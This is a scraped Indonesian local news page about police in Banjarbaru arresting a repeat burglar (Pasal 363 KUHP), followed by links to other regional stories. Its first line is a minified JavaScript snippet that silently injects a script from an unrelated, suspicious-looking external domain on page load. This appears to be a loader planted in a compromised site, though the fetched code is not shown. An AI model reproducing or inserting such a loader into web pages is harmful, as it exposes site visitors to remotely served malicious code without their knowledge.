(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Unit Resmob Satuan Reskrim Polres Banjarbaru yang dipimpin Iptu Alhamidie kembali berhasil mengungkap kasus pencurian (bongkar rumah) yang terjadi di Gang Purnama II, Kelurahan Komet, Kec. Banjarbaru Utara, Banjarbaru.
Pelaku diketahui bernama M Ridhani (31) yang rupamya merupakan residivis jambret dan bongkar rumah ini berhasil ditangkap di tempat tinggalnya di daerah Sungai Ulin Kota Banjarbaru pada hari Selasa (4/2/2020).
“Dari pengakuannya, pelaku melancarkan aksinya seorang diri pada tanggal 21 Januari 2020 sekitar pukul 02.00 WITA dan mengambil sejumlah uang, barang dan surat berharga milik korbannya,” kata Kapolres Banjarbaru AKBP Doni Hadi Santoso, melalui Kasubbag Humas Polres Banjarbaru, AKP Siti Rohayati.
Kini pelaku beserta barang bukti diamankan ke Mapolres Banjarbaru guna proses hukum lebih lanjut dan akan dijerat dengan Pasal 363 KUHP dengan ancaman hukuman maksimal 9 Tahun Penjara. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.